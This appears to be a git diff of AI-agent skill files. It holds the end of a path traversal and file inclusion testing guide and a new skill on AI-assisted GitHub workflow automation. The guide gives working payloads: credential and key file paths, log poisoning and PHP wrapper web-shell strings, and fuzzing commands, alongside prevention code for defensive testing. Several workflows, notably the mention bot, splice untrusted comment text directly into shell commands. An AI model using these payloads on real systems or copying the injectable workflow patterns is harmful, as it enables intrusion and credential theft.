C:\windows\system32\drivers\etc\hosts
|
||||
C:\windows\system32\config\SAM
|
||||
C:\windows\repair\SAM
|
||||
|
||||
# IIS files
|
||||
C:\inetpub\wwwroot\web.config
|
||||
C:\inetpub\logs\LogFiles\W3SVC1\
|
||||
|
||||
# Configuration files
|
||||
C:\xampp\apache\conf\httpd.conf
|
||||
C:\xampp\mysql\data\mysql\user.MYD
|
||||
C:\xampp\passwords.txt
|
||||
C:\xampp\phpmyadmin\config.inc.php
|
||||
|
||||
# User files
|
||||
C:\Users\<user>\.ssh\id_rsa
|
||||
C:\Users\<user>\Desktop\
|
||||
C:\Documents and Settings\<user>\
|
||||
```
|
||||
|
||||
### Phase 7: Automated Testing
|
||||
|
||||
#### Using Burp Suite
|
||||
|
||||
```
|
||||
1. Capture request with file parameter
|
||||
2. Send to Intruder
|
||||
3. Mark file parameter value as payload position
|
||||
4. Load path traversal wordlist
|
||||
5. Start attack
|
||||
6. Filter responses by size/content for success
|
||||
```
|
||||
|
||||
#### Using ffuf
|
||||
|
||||
```bash
|
||||
# Basic traversal fuzzing
|
||||
ffuf -u "http://target.com/image?filename=FUZZ" \
|
||||
-w /usr/share/wordlists/traversal.txt \
|
||||
-mc 200
|
||||
|
||||
# Fuzzing with encoding
|
||||
ffuf -u "http://target.com/page?file=FUZZ" \
|
||||
-w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \
|
||||
-mc 200,500 -ac
|
||||
```
|
||||
|
||||
#### Using wfuzz
|
||||
|
||||
```bash
|
||||
# Traverse to /etc/passwd
|
||||
wfuzz -c -z file,/usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \
|
||||
--hc 404 \
|
||||
"http://target.com/index.php?file=FUZZ"
|
||||
|
||||
# With headers/cookies
|
||||
wfuzz -c -z file,traversal.txt \
|
||||
-H "Cookie: session=abc123" \
|
||||
"http://target.com/load?path=FUZZ"
|
||||
```
|
||||
|
||||
### Phase 8: LFI to RCE Escalation
|
||||
|
||||
#### Log Poisoning
|
||||
|
||||
```bash
|
||||
# Inject PHP code into logs
|
||||
curl -A "<?php system(\$_GET['cmd']); ?>" http://target.com/
|
||||
|
||||
# Include Apache log file
|
||||
curl "http://target.com/page?file=../../../var/log/apache2/access.log&cmd=id"
|
||||
|
||||
# Include auth.log (SSH)
|
||||
# First: ssh '<?php system($_GET["cmd"]); ?>'@target.com
|
||||
curl "http://target.com/page?file=../../../var/log/auth.log&cmd=whoami"
|
||||
```
|
||||
|
||||
#### Proc/self/environ
|
||||
|
||||
```bash
|
||||
# Inject via User-Agent
|
||||
curl -A "<?php system('id'); ?>" \
|
||||
"http://target.com/page?file=/proc/self/environ"
|
||||
|
||||
# With command parameter
|
||||
curl -A "<?php system(\$_GET['c']); ?>" \
|
||||
"http://target.com/page?file=/proc/self/environ&c=whoami"
|
||||
```
|
||||
|
||||
#### PHP Wrapper Exploitation
|
||||
|
||||
```bash
|
||||
# php://filter - Read source code as base64
|
||||
curl "http://target.com/page?file=php://filter/convert.base64-encode/resource=config.php"
|
||||
|
||||
# php://input - Execute POST data as PHP
|
||||
curl -X POST -d "<?php system('id'); ?>" \
|
||||
"http://target.com/page?file=php://input"
|
||||
|
||||
# data:// - Execute inline PHP
|
||||
curl "http://target.com/page?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOyA/Pg==&c=id"
|
||||
|
||||
# expect:// - Execute system commands
|
||||
curl "http://target.com/page?file=expect://id"
|
||||
```
|
||||
|
||||
### Phase 9: Testing Methodology
|
||||
|
||||
Structured testing approach:
|
||||
|
||||
```bash
|
||||
# Step 1: Identify potential parameters
|
||||
# Look for file-related functionality
|
||||
|
||||
# Step 2: Test basic traversal
|
||||
../../../etc/passwd
|
||||
|
||||
# Step 3: Test encoding variations
|
||||
..%2F..%2F..%2Fetc%2Fpasswd
|
||||
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd
|
||||
|
||||
# Step 4: Test bypass techniques
|
||||
....//....//....//etc/passwd
|
||||
..;/..;/..;/etc/passwd
|
||||
|
||||
# Step 5: Test absolute paths
|
||||
/etc/passwd
|
||||
|
||||
# Step 6: Test with null bytes (legacy)
|
||||
../../../etc/passwd%00.jpg
|
||||
|
||||
# Step 7: Attempt wrapper exploitation
|
||||
php://filter/convert.base64-encode/resource=index.php
|
||||
|
||||
# Step 8: Attempt log poisoning for RCE
|
||||
```
|
||||
|
||||
### Phase 10: Prevention Measures
|
||||
|
||||
Secure coding practices:
|
||||
|
||||
```php
|
||||
// PHP: Use basename() to strip paths
|
||||
$filename = basename($_GET['file']);
|
||||
$path = "/var/www/files/" . $filename;
|
||||
|
||||
// PHP: Validate against whitelist
|
||||
$allowed = ['report.pdf', 'manual.pdf', 'guide.pdf'];
|
||||
if (in_array($_GET['file'], $allowed)) {
|
||||
include("/var/www/files/" . $_GET['file']);
|
||||
}
|
||||
|
||||
// PHP: Canonicalize and verify base path
|
||||
$base = "/var/www/files/";
|
||||
$realBase = realpath($base);
|
||||
$userPath = $base . $_GET['file'];
|
||||
$realUserPath = realpath($userPath);
|
||||
|
||||
if ($realUserPath && strpos($realUserPath, $realBase) === 0) {
|
||||
include($realUserPath);
|
||||
}
|
||||
```
|
||||
|
||||
```python
|
||||
# Python: Use os.path.realpath() and validate
|
||||
import os
|
||||
|
||||
def safe_file_access(base_dir, filename):
|
||||
# Resolve to absolute path
|
||||
base = os.path.realpath(base_dir)
|
||||
file_path = os.path.realpath(os.path.join(base, filename))
|
||||
|
||||
# Verify file is within base directory
|
||||
if file_path.startswith(base):
|
||||
return open(file_path, 'r').read()
|
||||
else:
|
||||
raise Exception("Access denied")
|
||||
```
|
||||
|
||||
## Quick Reference
|
||||
|
||||
### Common Payloads
|
||||
|
||||
| Payload | Target |
|
||||
|---------|--------|
|
||||
| `../../../etc/passwd` | Linux password file |
|
||||
| `..\..\..\..\windows\win.ini` | Windows INI file |
|
||||
| `....//....//....//etc/passwd` | Bypass simple filter |
|
||||
| `/etc/passwd` | Absolute path |
|
||||
| `php://filter/convert.base64-encode/resource=config.php` | Source code |
|
||||
|
||||
### Target Files
|
||||
|
||||
| OS | File | Purpose |
|
||||
|----|------|---------|
|
||||
| Linux | `/etc/passwd` | User accounts |
|
||||
| Linux | `/etc/shadow` | Password hashes |
|
||||
| Linux | `/proc/self/environ` | Environment vars |
|
||||
| Windows | `C:\windows\win.ini` | System config |
|
||||
| Windows | `C:\boot.ini` | Boot config |
|
||||
| Web | `wp-config.php` | WordPress DB creds |
|
||||
|
||||
### Encoding Variants
|
||||
|
||||
| Type | Example |
|
||||
|------|---------|
|
||||
| URL Encoding | `%2e%2e%2f` = `../` |
|
||||
| Double Encoding | `%252e%252e%252f` = `../` |
|
||||
| Unicode | `%c0%af` = `/` |
|
||||
| Null Byte | `%00` |
|
||||
|
||||
## Constraints and Limitations
|
||||
|
||||
### Permission Restrictions
|
||||
- Cannot read files application user cannot access
|
||||
- Shadow file requires root privileges
|
||||
- Many files have restrictive permissions
|
||||
|
||||
### Application Restrictions
|
||||
- Extension validation may limit file types
|
||||
- Base path validation may restrict scope
|
||||
- WAF may block common payloads
|
||||
|
||||
### Testing Considerations
|
||||
- Respect authorized scope
|
||||
- Avoid accessing genuinely sensitive data
|
||||
- Document all successful access
|
||||
|
||||
## Troubleshooting
|
||||
|
||||
| Problem | Solutions |
|
||||
|---------|-----------|
|
||||
| No response difference | Try encoding, blind traversal, different files |
|
||||
| Payload blocked | Use encoding variants, nested sequences, case variations |
|
||||
| Cannot escalate to RCE | Check logs, PHP wrappers, file upload, session poisoning |
|
||||
846
skills/github-workflow-automation/SKILL.md
Normal file
846
skills/github-workflow-automation/SKILL.md
Normal file
@@ -0,0 +1,846 @@
|
||||
---
|
||||
name: github-workflow-automation
|
||||
description: "Automate GitHub workflows with AI assistance. Includes PR reviews, issue triage, CI/CD integration, and Git operations. Use when automating GitHub workflows, setting up PR review automation, creating GitHub Actions, or triaging issues."
|
||||
---
|
||||
|
||||
# 🔧 GitHub Workflow Automation
|
||||
|
||||
> Patterns for automating GitHub workflows with AI assistance, inspired by [Gemini CLI](https://github.com/google-gemini/gemini-cli) and modern DevOps practices.
|
||||
|
||||
## When to Use This Skill
|
||||
|
||||
Use this skill when:
|
||||
|
||||
- Automating PR reviews with AI
|
||||
- Setting up issue triage automation
|
||||
- Creating GitHub Actions workflows
|
||||
- Integrating AI into CI/CD pipelines
|
||||
- Automating Git operations (rebases, cherry-picks)
|
||||
|
||||
---
|
||||
|
||||
## 1. Automated PR Review
|
||||
|
||||
### 1.1 PR Review Action
|
||||
|
||||
```yaml
|
||||
# .github/workflows/ai-review.yml
|
||||
name: AI Code Review
|
||||
|
||||
on:
|
||||
pull_request:
|
||||
types: [opened, synchronize]
|
||||
|
||||
jobs:
|
||||
review:
|
||||
runs-on: ubuntu-latest
|
||||
permissions:
|
||||
contents: read
|
||||
pull-requests: write
|
||||
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
with:
|
||||
fetch-depth: 0
|
||||
|
||||
- name: Get changed files
|
||||
id: changed
|
||||
run: |
|
||||
files=$(git diff --name-only origin/${{ github.base_ref }}...HEAD)
|
||||
echo "files<<EOF" >> $GITHUB_OUTPUT
|
||||
echo "$files" >> $GITHUB_OUTPUT
|
||||
echo "EOF" >> $GITHUB_OUTPUT
|
||||
|
||||
- name: Get diff
|
||||
id: diff
|
||||
run: |
|
||||
diff=$(git diff origin/${{ github.base_ref }}...HEAD)
|
||||
echo "diff<<EOF" >> $GITHUB_OUTPUT
|
||||
echo "$diff" >> $GITHUB_OUTPUT
|
||||
echo "EOF" >> $GITHUB_OUTPUT
|
||||
|
||||
- name: AI Review
|
||||
uses: actions/github-script@v7
|
||||
with:
|
||||
script: |
|
||||
const { Anthropic } = require('@anthropic-ai/sdk');
|
||||
const client = new Anthropic({ apiKey: process.env.ANTHROPIC_API_KEY });
|
||||
|
||||
const response = await client.messages.create({
|
||||
model: "claude-3-sonnet-20240229",
|
||||
max_tokens: 4096,
|
||||
messages: [{
|
||||
role: "user",
|
||||
content: `Review this PR diff and provide feedback:
|
||||
|
||||
Changed files: ${{ steps.changed.outputs.files }}
|
||||
|
||||
Diff:
|
||||
${{ steps.diff.outputs.diff }}
|
||||
|
||||
Provide:
|
||||
1. Summary of changes
|
||||
2. Potential issues or bugs
|
||||
3. Suggestions for improvement
|
||||
4. Security concerns if any
|
||||
|
||||
Format as GitHub markdown.`
|
||||
}]
|
||||
});
|
||||
|
||||
await github.rest.pulls.createReview({
|
||||
owner: context.repo.owner,
|
||||
repo: context.repo.repo,
|
||||
pull_number: context.issue.number,
|
||||
body: response.content[0].text,
|
||||
event: 'COMMENT'
|
||||
});
|
||||
env:
|
||||
ANTHROPIC_API_KEY: ${{ secrets.ANTHROPIC_API_KEY }}
|
||||
```
|
||||
|
||||
### 1.2 Review Comment Patterns
|
||||
|
||||
````markdown
|
||||
# AI Review Structure
|
||||
|
||||
## 📋 Summary
|
||||
|
||||
Brief description of what this PR does.
|
||||
|
||||
## ✅ What looks good
|
||||
|
||||
- Well-structured code
|
||||
- Good test coverage
|
||||
- Clear naming conventions
|
||||
|
||||
## ⚠️ Potential Issues
|
||||
|
||||
1. **Line 42**: Possible null pointer exception
|
||||
```javascript
|
||||
// Current
|
||||
user.profile.name;
|
||||
// Suggested
|
||||
user?.profile?.name ?? "Unknown";
|
||||
```
|
||||
````
|
||||
|
||||
2. **Line 78**: Consider error handling
|
||||
```javascript
|
||||
// Add try-catch or .catch()
|
||||
```
|
||||
|
||||
## 💡 Suggestions
|
||||
|
||||
- Consider extracting the validation logic into a separate function
|
||||
- Add JSDoc comments for public methods
|
||||
|
||||
## 🔒 Security Notes
|
||||
|
||||
- No sensitive data exposure detected
|
||||
- API key handling looks correct
|
||||
|
||||
````
|
||||
|
||||
### 1.3 Focused Reviews
|
||||
|
||||
```yaml
|
||||
# Review only specific file types
|
||||
- name: Filter code files
|
||||
run: |
|
||||
files=$(git diff --name-only origin/${{ github.base_ref }}...HEAD | \
|
||||
grep -E '\.(ts|tsx|js|jsx|py|go)$' || true)
|
||||
echo "code_files=$files" >> $GITHUB_OUTPUT
|
||||
|
||||
# Review with context
|
||||
- name: AI Review with context
|
||||
run: |
|
||||
# Include relevant context files
|
||||
context=""
|
||||
for file in ${{ steps.changed.outputs.files }}; do
|
||||
if [[ -f "$file" ]]; then
|
||||
context+="=== $file ===\n$(cat $file)\n\n"
|
||||
fi
|
||||
done
|
||||
|
||||
# Send to AI with full file context
|
||||
````
|
||||
|
||||
---
|
||||
|
||||
## 2. Issue Triage Automation
|
||||
|
||||
### 2.1 Auto-label Issues
|
||||
|
||||
```yaml
|
||||
# .github/workflows/issue-triage.yml
|
||||
name: Issue Triage
|
||||
|
||||
on:
|
||||
issues:
|
||||
types: [opened]
|
||||
|
||||
jobs:
|
||||
triage:
|
||||
runs-on: ubuntu-latest
|
||||
permissions:
|
||||
issues: write
|
||||
|
||||
steps:
|
||||
- name: Analyze issue
|
||||
uses: actions/github-script@v7
|
||||
with:
|
||||
script: |
|
||||
const issue = context.payload.issue;
|
||||
|
||||
// Call AI to analyze
|
||||
const analysis = await analyzeIssue(issue.title, issue.body);
|
||||
|
||||
// Apply labels
|
||||
const labels = [];
|
||||
|
||||
if (analysis.type === 'bug') {
|
||||
labels.push('bug');
|
||||
if (analysis.severity === 'high') labels.push('priority: high');
|
||||
} else if (analysis.type === 'feature') {
|
||||
labels.push('enhancement');
|
||||
} else if (analysis.type === 'question') {
|
||||
labels.push('question');
|
||||
}
|
||||
|
||||
if (analysis.area) {
|
||||
labels.push(`area: ${analysis.area}`);
|
||||
}
|
||||
|
||||
await github.rest.issues.addLabels({
|
||||
owner: context.repo.owner,
|
||||
repo: context.repo.repo,
|
||||
issue_number: issue.number,
|
||||
labels: labels
|
||||
});
|
||||
|
||||
// Add initial response
|
||||
if (analysis.type === 'bug' && !analysis.hasReproSteps) {
|
||||
await github.rest.issues.createComment({
|
||||
owner: context.repo.owner,
|
||||
repo: context.repo.repo,
|
||||
issue_number: issue.number,
|
||||
body: `Thanks for reporting this issue!
|
||||
|
||||
To help us investigate, could you please provide:
|
||||
- Steps to reproduce the issue
|
||||
- Expected behavior
|
||||
- Actual behavior
|
||||
- Environment (OS, version, etc.)
|
||||
|
||||
This will help us resolve your issue faster. 🙏`
|
||||
});
|
||||
}
|
||||
```
|
||||
|
||||
### 2.2 Issue Analysis Prompt
|
||||
|
||||
```typescript
|
||||
const TRIAGE_PROMPT = `
|
||||
Analyze this GitHub issue and classify it:
|
||||
|
||||
Title: {title}
|
||||
Body: {body}
|
||||
|
||||
Return JSON with:
|
||||
{
|
||||
"type": "bug" | "feature" | "question" | "docs" | "other",
|
||||
"severity": "low" | "medium" | "high" | "critical",
|
||||
"area": "frontend" | "backend" | "api" | "docs" | "ci" | "other",
|
||||
"summary": "one-line summary",
|
||||
"hasReproSteps": boolean,
|
||||
"isFirstContribution": boolean,
|
||||
"suggestedLabels": ["label1", "label2"],
|
||||
"suggestedAssignees": ["username"] // based on area expertise
|
||||
}
|
||||
`;
|
||||
```
|
||||
|
||||
### 2.3 Stale Issue Management
|
||||
|
||||
```yaml
|
||||
# .github/workflows/stale.yml
|
||||
name: Manage Stale Issues
|
||||
|
||||
on:
|
||||
schedule:
|
||||
- cron: "0 0 * * *" # Daily
|
||||
|
||||
jobs:
|
||||
stale:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/stale@v9
|
||||
with:
|
||||
stale-issue-message: |
|
||||
This issue has been automatically marked as stale because it has not had
|
||||
recent activity. It will be closed in 14 days if no further activity occurs.
|
||||
|
||||
If this issue is still relevant:
|
||||
- Add a comment with an update
|
||||
- Remove the `stale` label
|
||||
|
||||
Thank you for your contributions! 🙏
|
||||
|
||||
stale-pr-message: |
|
||||
This PR has been automatically marked as stale. Please update it or it
|
||||
will be closed in 14 days.
|
||||
|
||||
days-before-stale: 60
|
||||
days-before-close: 14
|
||||
stale-issue-label: "stale"
|
||||
stale-pr-label: "stale"
|
||||
exempt-issue-labels: "pinned,security,in-progress"
|
||||
exempt-pr-labels: "pinned,security"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 3. CI/CD Integration
|
||||
|
||||
### 3.1 Smart Test Selection
|
||||
|
||||
```yaml
|
||||
# .github/workflows/smart-tests.yml
|
||||
name: Smart Test Selection
|
||||
|
||||
on:
|
||||
pull_request:
|
||||
|
||||
jobs:
|
||||
analyze:
|
||||
runs-on: ubuntu-latest
|
||||
outputs:
|
||||
test_suites: ${{ steps.analyze.outputs.suites }}
|
||||
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
with:
|
||||
fetch-depth: 0
|
||||
|
||||
- name: Analyze changes
|
||||
id: analyze
|
||||
run: |
|
||||
# Get changed files
|
||||
changed=$(git diff --name-only origin/${{ github.base_ref }}...HEAD)
|
||||
|
||||
# Determine which test suites to run
|
||||
suites="[]"
|
||||
|
||||
if echo "$changed" | grep -q "^src/api/"; then
|
||||
suites=$(echo $suites | jq '. + ["api"]')
|
||||
fi
|
||||
|
||||
if echo "$changed" | grep -q "^src/frontend/"; then
|
||||
suites=$(echo $suites | jq '. + ["frontend"]')
|
||||
fi
|
||||
|
||||
if echo "$changed" | grep -q "^src/database/"; then
|
||||
suites=$(echo $suites | jq '. + ["database", "api"]')
|
||||
fi
|
||||
|
||||
# If nothing specific, run all
|
||||
if [ "$suites" = "[]" ]; then
|
||||
suites='["all"]'
|
||||
fi
|
||||
|
||||
echo "suites=$suites" >> $GITHUB_OUTPUT
|
||||
|
||||
test:
|
||||
needs: analyze
|
||||
runs-on: ubuntu-latest
|
||||
strategy:
|
||||
matrix:
|
||||
suite: ${{ fromJson(needs.analyze.outputs.test_suites) }}
|
||||
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
|
||||
- name: Run tests
|
||||
run: |
|
||||
if [ "${{ matrix.suite }}" = "all" ]; then
|
||||
npm test
|
||||
else
|
||||
npm test -- --suite ${{ matrix.suite }}
|
||||
fi
|
||||
```
|
||||
|
||||
### 3.2 Deployment with AI Validation
|
||||
|
||||
```yaml
|
||||
# .github/workflows/deploy.yml
|
||||
name: Deploy with AI Validation
|
||||
|
||||
on:
|
||||
push:
|
||||
branches: [main]
|
||||
|
||||
jobs:
|
||||
validate:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
|
||||
- name: Get deployment changes
|
||||
id: changes
|
||||
run: |
|
||||
# Get commits since last deployment
|
||||
last_deploy=$(git describe --tags --abbrev=0 2>/dev/null || echo "")
|
||||
if [ -n "$last_deploy" ]; then
|
||||
changes=$(git log --oneline $last_deploy..HEAD)
|
||||
else
|
||||
changes=$(git log --oneline -10)
|
||||
fi
|
||||
echo "changes<<EOF" >> $GITHUB_OUTPUT
|
||||
echo "$changes" >> $GITHUB_OUTPUT
|
||||
echo "EOF" >> $GITHUB_OUTPUT
|
||||
|
||||
- name: AI Risk Assessment
|
||||
id: assess
|
||||
uses: actions/github-script@v7
|
||||
with:
|
||||
script: |
|
||||
// Analyze changes for deployment risk
|
||||
const prompt = `
|
||||
Analyze these changes for deployment risk:
|
||||
|
||||
${process.env.CHANGES}
|
||||
|
||||
Return JSON:
|
||||
{
|
||||
"riskLevel": "low" | "medium" | "high",
|
||||
"concerns": ["concern1", "concern2"],
|
||||
"recommendations": ["rec1", "rec2"],
|
||||
"requiresManualApproval": boolean
|
||||
}
|
||||
`;
|
||||
|
||||
// Call AI and parse response
|
||||
const analysis = await callAI(prompt);
|
||||
|
||||
if (analysis.riskLevel === 'high') {
|
||||
core.setFailed('High-risk deployment detected. Manual review required.');
|
||||
}
|
||||
|
||||
return analysis;
|
||||
env:
|
||||
CHANGES: ${{ steps.changes.outputs.changes }}
|
||||
|
||||
deploy:
|
||||
needs: validate
|
||||
runs-on: ubuntu-latest
|
||||
environment: production
|
||||
steps:
|
||||
- name: Deploy
|
||||
run: |
|
||||
echo "Deploying to production..."
|
||||
# Deployment commands here
|
||||
```
|
||||
|
||||
### 3.3 Rollback Automation
|
||||
|
||||
```yaml
|
||||
# .github/workflows/rollback.yml
|
||||
name: Automated Rollback
|
||||
|
||||
on:
|
||||
workflow_dispatch:
|
||||
inputs:
|
||||
reason:
|
||||
description: "Reason for rollback"
|
||||
required: true
|
||||
|
||||
jobs:
|
||||
rollback:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
with:
|
||||
fetch-depth: 0
|
||||
|
||||
- name: Find last stable version
|
||||
id: stable
|
||||
run: |
|
||||
# Find last successful deployment
|
||||
stable=$(git tag -l 'v*' --sort=-version:refname | head -1)
|
||||
echo "version=$stable" >> $GITHUB_OUTPUT
|
||||
|
||||
- name: Rollback
|
||||
run: |
|
||||
git checkout ${{ steps.stable.outputs.version }}
|
||||
# Deploy stable version
|
||||
npm run deploy
|
||||
|
||||
- name: Notify team
|
||||
uses: slackapi/slack-github-action@v1
|
||||
with:
|
||||
payload: |
|
||||
{
|
||||
"text": "🔄 Production rolled back to ${{ steps.stable.outputs.version }}",
|
||||
"blocks": [
|
||||
{
|
||||
"type": "section",
|
||||
"text": {
|
||||
"type": "mrkdwn",
|
||||
"text": "*Rollback executed*\n• Version: `${{ steps.stable.outputs.version }}`\n• Reason: ${{ inputs.reason }}\n• Triggered by: ${{ github.actor }}"
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 4. Git Operations
|
||||
|
||||
### 4.1 Automated Rebasing
|
||||
|
||||
```yaml
|
||||
# .github/workflows/auto-rebase.yml
|
||||
name: Auto Rebase
|
||||
|
||||
on:
|
||||
issue_comment:
|
||||
types: [created]
|
||||
|
||||
jobs:
|
||||
rebase:
|
||||
if: github.event.issue.pull_request && contains(github.event.comment.body, '/rebase')
|
||||
runs-on: ubuntu-latest
|
||||
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
with:
|
||||
fetch-depth: 0
|
||||
token: ${{ secrets.GITHUB_TOKEN }}
|
||||
|
||||
- name: Setup Git
|
||||
run: |
|
||||
git config user.name "github-actions[bot]"
|
||||
git config user.email "github-actions[bot]@users.noreply.github.com"
|
||||
|
||||
- name: Rebase PR
|
||||
run: |
|
||||
# Fetch PR branch
|
||||
gh pr checkout ${{ github.event.issue.number }}
|
||||
|
||||
# Rebase onto main
|
||||
git fetch origin main
|
||||
git rebase origin/main
|
||||
|
||||
# Force push
|
||||
git push --force-with-lease
|
||||
env:
|
||||
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
|
||||
- name: Comment result
|
||||
uses: actions/github-script@v7
|
||||
with:
|
||||
script: |
|
||||
github.rest.issues.createComment({
|
||||
owner: context.repo.owner,
|
||||
repo: context.repo.repo,
|
||||
issue_number: context.issue.number,
|
||||
body: '✅ Successfully rebased onto main!'
|
||||
})
|
||||
```
|
||||
|
||||
### 4.2 Smart Cherry-Pick
|
||||
|
||||
```typescript
|
||||
// AI-assisted cherry-pick that handles conflicts
|
||||
async function smartCherryPick(commitHash: string, targetBranch: string) {
|
||||
// Get commit info
|
||||
const commitInfo = await exec(`git show ${commitHash} --stat`);
|
||||
|
||||
// Check for potential conflicts
|
||||
const targetDiff = await exec(
|
||||
`git diff ${targetBranch}...HEAD -- ${affectedFiles}`
|
||||
);
|
||||
|
||||
// AI analysis
|
||||
const analysis = await ai.analyze(`
|
||||
I need to cherry-pick this commit to ${targetBranch}:
|
||||
|
||||
${commitInfo}
|
||||
|
||||
Current state of affected files on ${targetBranch}:
|
||||
${targetDiff}
|
||||
|
||||
Will there be conflicts? If so, suggest resolution strategy.
|
||||
`);
|
||||
|
||||
if (analysis.willConflict) {
|
||||
// Create branch for manual resolution
|
||||
await exec(
|
||||
`git checkout -b cherry-pick-${commitHash.slice(0, 7)} ${targetBranch}`
|
||||
);
|
||||
const result = await exec(`git cherry-pick ${commitHash}`, {
|
||||
allowFail: true,
|
||||
});
|
||||
|
||||
if (result.failed) {
|
||||
// AI-assisted conflict resolution
|
||||
const conflicts = await getConflicts();
|
||||
for (const conflict of conflicts) {
|
||||
const resolution = await ai.resolveConflict(conflict);
|
||||
await applyResolution(conflict.file, resolution);
|
||||
}
|
||||
}
|
||||
} else {
|
||||
await exec(`git checkout ${targetBranch}`);
|
||||
await exec(`git cherry-pick ${commitHash}`);
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### 4.3 Branch Cleanup
|
||||
|
||||
```yaml
|
||||
# .github/workflows/branch-cleanup.yml
|
||||
name: Branch Cleanup
|
||||
|
||||
on:
|
||||
schedule:
|
||||
- cron: '0 0 * * 0' # Weekly
|
||||
workflow_dispatch:
|
||||
|
||||
jobs:
|
||||
cleanup:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
with:
|
||||
fetch-depth: 0
|
||||
|
||||
- name: Find stale branches
|
||||
id: stale
|
||||
run: |
|
||||
# Branches not updated in 30 days
|
||||
stale=$(git for-each-ref --sort=-committerdate refs/remotes/origin \
|
||||
--format='%(refname:short) %(committerdate:relative)' | \
|
||||
grep -E '[3-9][0-9]+ days|[0-9]+ months|[0-9]+ years' | \
|
||||
grep -v 'origin/main\|origin/develop' | \
|
||||
cut -d' ' -f1 | sed 's|origin/||')
|
||||
|
||||
echo "branches<<EOF" >> $GITHUB_OUTPUT
|
||||
echo "$stale" >> $GITHUB_OUTPUT
|
||||
echo "EOF" >> $GITHUB_OUTPUT
|
||||
|
||||
- name: Create cleanup PR
|
||||
if: steps.stale.outputs.branches != ''
|
||||
uses: actions/github-script@v7
|
||||
with:
|
||||
script: |
|
||||
const branches = `${{ steps.stale.outputs.branches }}`.split('\n').filter(Boolean);
|
||||
|
||||
const body = `## 🧹 Stale Branch Cleanup
|
||||
|
||||
The following branches haven't been updated in over 30 days:
|
||||
|
||||
${branches.map(b => `- \`${b}\``).join('\n')}
|
||||
|
||||
### Actions:
|
||||
- [ ] Review each branch
|
||||
- [ ] Delete branches that are no longer needed
|
||||
- Comment \`/keep branch-name\` to preserve specific branches
|
||||
`;
|
||||
|
||||
await github.rest.issues.create({
|
||||
owner: context.repo.owner,
|
||||
repo: context.repo.repo,
|
||||
title: 'Stale Branch Cleanup',
|
||||
body: body,
|
||||
labels: ['housekeeping']
|
||||
});
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 5. On-Demand Assistance
|
||||
|
||||
### 5.1 @mention Bot
|
||||
|
||||
```yaml
|
||||
# .github/workflows/mention-bot.yml
|
||||
name: AI Mention Bot
|
||||
|
||||
on:
|
||||
issue_comment:
|
||||
types: [created]
|
||||
pull_request_review_comment:
|
||||
types: [created]
|
||||
|
||||
jobs:
|
||||
respond:
|
||||
if: contains(github.event.comment.body, '@ai-helper')
|
||||
runs-on: ubuntu-latest
|
||||
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
|
||||
- name: Extract question
|
||||
id: question
|
||||
run: |
|
||||
# Extract text after @ai-helper
|
||||
question=$(echo "${{ github.event.comment.body }}" | sed 's/.*@ai-helper//')
|
||||
echo "question=$question" >> $GITHUB_OUTPUT
|
||||
|
||||
- name: Get context
|
||||
id: context
|
||||
run: |
|
||||
if [ "${{ github.event.issue.pull_request }}" != "" ]; then
|
||||
# It's a PR - get diff
|
||||
gh pr diff ${{ github.event.issue.number }} > context.txt
|
||||
else
|
||||
# It's an issue - get description
|
||||
gh issue view ${{ github.event.issue.number }} --json body -q .body > context.txt
|
||||
fi
|
||||
echo "context=$(cat context.txt)" >> $GITHUB_OUTPUT
|
||||
env:
|
||||
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
|
||||
- name: AI Response
|
||||
uses: actions/github-script@v7
|
||||
with:
|
||||
script: |
|
||||
const response = await ai.chat(`
|
||||
Context: ${process.env.CONTEXT}
|
||||
|
||||
Question: ${process.env.QUESTION}
|
||||
|
||||
Provide a helpful, specific answer. Include code examples if relevant.
|
||||
`);
|
||||
|
||||
await github.rest.issues.createComment({
|
||||
owner: context.repo.owner,
|
||||
repo: context.repo.repo,
|
||||
issue_number: context.issue.number,
|
||||
body: response
|
||||
});
|
||||
env:
|
||||
CONTEXT: ${{ steps.context.outputs.context }}
|
||||
QUESTION: ${{ steps.question.outputs.question }}
|
||||
```
|
||||
|
||||
### 5.2 Command Patterns
|
||||
|
||||
```markdown
|
||||
## Available Commands
|
||||
|
||||
| Command | Description |
|
||||
| :------------------- | :-------------------------- |
|
||||
| `@ai-helper explain` | Explain the code in this PR |
|
||||
| `@ai-helper review` | Request AI code review |
|
||||
| `@ai-helper fix` | Suggest fixes for issues |
|
||||
| `@ai-helper test` | Generate test cases |
|
||||
| `@ai-helper docs` | Generate documentation |
|
||||
| `/rebase` | Rebase PR onto main |
|
||||
| `/update` | Update PR branch from main |
|
||||
| `/approve` | Mark as approved by bot |
|
||||
| `/label bug` | Add 'bug' label |
|
||||
| `/assign @user` | Assign to user |
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 6. Repository Configuration
|
||||
|
||||
### 6.1 CODEOWNERS
|
||||
|
||||
```
|
||||
# .github/CODEOWNERS
|
||||
|
||||
# Global owners
|
||||
* @org/core-team
|
||||
|
||||
# Frontend
|
||||
/src/frontend/ @org/frontend-team
|
||||
*.tsx @org/frontend-team
|
||||
*.css @org/frontend-team
|
||||
|
||||
# Backend
|
||||
/src/api/ @org/backend-team
|
||||
/src/database/ @org/backend-team
|
||||
|
||||
# Infrastructure
|
||||
/.github/ @org/devops-team
|
||||
/terraform/ @org/devops-team
|
